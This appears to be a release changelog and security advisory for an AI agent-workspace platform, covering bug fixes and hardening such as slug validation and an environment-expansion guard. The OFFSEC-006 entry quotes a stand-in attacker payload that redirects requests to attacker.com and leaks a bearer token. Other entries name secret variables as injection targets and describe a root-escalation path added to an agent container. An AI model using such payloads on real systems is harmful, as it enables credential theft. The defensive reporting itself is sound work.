### ✨ New features
|
||||
### 🔒 Security
|
||||
|
||||
- **Claude Code workspace template T4 tier gains host-root escalation**: the Claude Code workspace template (T4 privileged containers) now includes an additive uid-0 escalation leg, providing a wired path to host root inside the privileged container sandbox while preserving the uid-1000 agent identity and the agent-owned `/configs/.auth_token` contract. The escalation is implemented via `sudo` and `nsenter` baked into the Dockerfile. (`molecule-ai-workspace-template-claude-code` [#25](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-claude-code/pulls/25))
|
||||
- **Poll-mode canvas user messages now persist correctly before returning 200**: canvas chat messages sent via workspaces running in poll mode (`runtime=external`) were occasionally lost when the user exited the chat before the agent processed the message. The root cause was that `logA2AReceiveQueued` only wrote to the in-memory queue, not to durable storage. The persist call is now correctly placed before the poll-mode short-circuit, ensuring messages are durable before the canvas receives a `200`. (`molecule-core` [#1350](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1350))
|
||||
- **Inbox poller self-echo loop fixed**: when a workspace delegates a task to a target that never picks it up, the platform's `report_activity("a2a_receive")` records the activity with the sender's workspace UUID as `source_id` (per spoof-defense design). The sender's inbox poller was incorrectly processing this as an incoming message from itself — causing an infinite self-echo loop that flooded the inbox. A new `_is_self_echo_row()` predicate now skips `a2a_receive` rows where `source_id == workspace_id`, breaking the loop. (`molecule-core` [#1348](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1348))
|
||||
- **OpenClaw template adapter routing: fresh provisions now serve correctly**: OpenClaw workspace provisions were failing immediately after launch — the adapter had no routing path for the default model, causing every new workspace to be non-functional on first boot. The adapter now coerces an unroutable model to a known-good default, ensuring new OpenClaw workspaces are immediately usable without manual configuration. (`molecule-ai-workspace-template-openclaw` [#18](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/18))
|
||||
- **OpenClaw template MiniMax and Kimi-For-Coding API keys routed to correct endpoints**: the OpenClaw adapter was routing all Minimax (`sk-cp-*` keys) and Kimi-For-Coding (`sk-kimi-*` keys) API calls to the wrong endpoints, causing HTTP 401 errors on every chat turn. Minimax calls now route to the Anthropic-compatible gateway; Kimi-For-Coding calls route via Moonshot's Anthropic-compat endpoint. (`molecule-ai-workspace-template-openclaw` [#14](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/14), [#17](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/17))
|
||||
- **OpenClaw template now shows molecule platform peers**: OpenClaw workspaces were not returning molecule platform peers in `list_peers` responses — the model was answering via its own native `sessions_list` instead of querying the molecule A2A registry. The adapter now correctly registers the molecule A2A MCP server, so `list_peers` returns platform peers as expected. (`molecule-ai-workspace-template-openclaw` [#16](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/16))
|
||||
- **CWE-78 regression in `expandWithEnv` POSIX-identifier guard fixed (Critical)**: the shell-identifier guard in `expandWithEnv` (`org_helpers.go:82`) was inadvertently removed during a regression window between staging and main promotion. This guard prevents org YAML configurations from expanding invalid shell identifiers (e.g. `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`) as environment variables — blocking secret exfiltration via malicious `workspace_dir` or channel config fields. Restored with regression tests covering `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`. Full advisory: [Security Changelog](/docs/security/changelog). (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
|
||||
- **OFFSEC-006: tenant-slug SSRF + bearer-token exfiltration in self-hosted promotion script (HIGH)**: `scripts/promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host (SSRF) and cause the platform's bearer token to appear in the attacker's server logs. Two-layer fix applied: `set -f` disables bash glob expansion (preventing metacharacter injection via `*`, `?`, `[`), and `validate_slug()` rejects any slug not matching RFC-1123 (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) with exit code 64 before any network call. Self-hosted operators must upgrade `molecule-core` to include this fix. Full advisory: [OFFSEC-006 advisory](/docs/security/offsec-006-slug-ssrf-advisory). (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933))
|
||||
- **OFFSEC-003: workspace-side A2A boundary marker escaping (trust boundary hardening)**: the `tool_delegate_task` workspace tool now wraps delegation output with `_A2A_BOUNDARY_START_ESCAPED` / `_A2A_BOUNDARY_END_ESCAPED` instead of raw markers, preventing raw boundary markers from leaking into output alongside their escaped form. Additionally, responses containing the raw closer `[A2A_RESULT_FROM_PEER]` are now truncated before sanitization — so injection of the raw closer cannot be retroactively re-added by the sanitization pass. Together with the platform-side sanitization (shipped 2026-05-11), this closes the full OFFSEC-003 trust-boundary for delegation result delivery. (`molecule-core` [#1073](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1073))

### 🐛 Bug fixes
|
||||
|
||||
- **`expandWithEnv` POSIX-identifier guard regression restored**: the same fix as above — restores the guard that was removed during a refactor, ensuring invalid shell identifiers in org YAML configs are returned literally instead of being interpreted as environment variable references. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
|
||||
- **Canvas WCAG 1.4.3 contrast ratio fixed for TIER_CONFIG legend**: the tier legend text in the canvas now meets the 4.5:1 contrast ratio required by WCAG 1.4.3 for normal text. (`molecule-core` [#990](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/990))
|
||||
- **Canvas focus-visible rings added to icon and text buttons**: focus-visible rings (`focus-visible:ring-2`) now render on icon buttons and text-only buttons in the canvas, restoring WCAG 2.1 AA compliance for all interactive elements. (`molecule-core` [#988](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/988))
|
||||
- **OpenClaw template `models` config moved to correct level**: the OpenClaw workspace template's `config.yaml` had `models` at the top level, but the platform template handler reads from `runtime_config.models`. This caused `/templates` to return empty models and providers → a blank "Missing API Keys" dialog with no selectable providers, disabling the Deploy button. Moved all model entries under `runtime_config` and added Groq and OpenRouter as alternative providers alongside OpenAI. (`molecule-ai-workspace-template-openclaw` [#4](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/4))
|
||||
|
||||
### 🧹 Internal
|
||||
|
||||
- **CI/CD publish lane routing** (`molecule-core`): 7 post-merge ship jobs across 5 workflows now route to a dedicated `publish` runner lane instead of competing in the shared CI queue. Urgent production-deploy builds (e.g. P0 security fixes) no longer sit behind ordinary PR-required CI. (`molecule-core` [#1376](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1376))
|
||||
- **Runtime catalog cleanup** (`molecule-core`): `crewai`, `deepagents`, and `gemini-cli` removed from the workspace runtime catalog (internal#483). (`molecule-core` [#1385](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1385))
|
||||
- **CI infrastructure improvements** (`molecule-core`): `ci-required-drift` workflow updated with job-level `if:` guards to skip `github.ref`-gated jobs in the merge-queue context; `canvas-build` job now has an explicit 20-minute timeout; gitea merge-queue test mocks updated to match current push-gate behavior. (`molecule-core` [#1029](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1029), [#1006](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1006), [#1035](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1035))
|
||||
- **Handler test coverage additions** (`molecule-core`): 60+ new SQL-mock test cases covering `InstructionsHandler`, `ScheduleHandler` (28 cases), and the `expandWithEnv` POSIX guard regression suite. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030), [#1005](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1005), [#999](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/999))

## 2026-05-14 — CWE-78: Regression in `expandWithEnv` POSIX-identifier Guard
|
||||
|
||||
**Severity:** Critical (CWE-78)
|
||||
**PR:** [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pull/1030)
|
||||
**Affected:** `workspace-server/internal/handlers/org_helpers.go` — `expandWithEnv`
|
||||
|
||||
### Vulnerability
|
||||
|
||||
`expandWithEnv` expands `${VAR}` and `$VAR` references in org YAML configuration fields (notably `workspace_dir` and channel config) using the current process environment. The POSIX shell-identifier guard was inadvertently removed during a regression window between staging and main promotion, causing digit-prefixed and empty keys to be passed through to `os.Getenv` instead of being returned literally.
|
||||
|
||||
An attacker who can supply org YAML (e.g., via a compromised org template import or a malicious admin account) could inject references such as `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`, or `${PATH}` to exfiltrate host secrets into workspace or channel configuration fields.
|
||||
|
||||
### Fix
|
||||
|
||||
Restored the POSIX identifier guard at `org_helpers.go:82`. Keys not starting with `[a-zA-Z_]` (including empty key) are now returned literally as `$key` without consulting `os.Getenv`:
|
||||
|
||||
```go
|
||||
c := key[0]
|
||||
if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_') {
|
||||
return "$" + key // not a valid shell identifier — return literally
|
||||
}
|
||||
```
|
||||
|
||||
Regression tests cover `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`.
|
||||
|
||||
### User-facing summary
|
||||
|
||||
Org YAML configuration fields no longer expand invalid shell identifiers as environment variables. Configurations containing `${0}`, `${}`, or `${1VAR}` patterns are returned as-is. If you observe literal `$` prefixes appearing in workspace directory or channel configuration fields after upgrading, this indicates a previously-masked configuration issue — contact support.
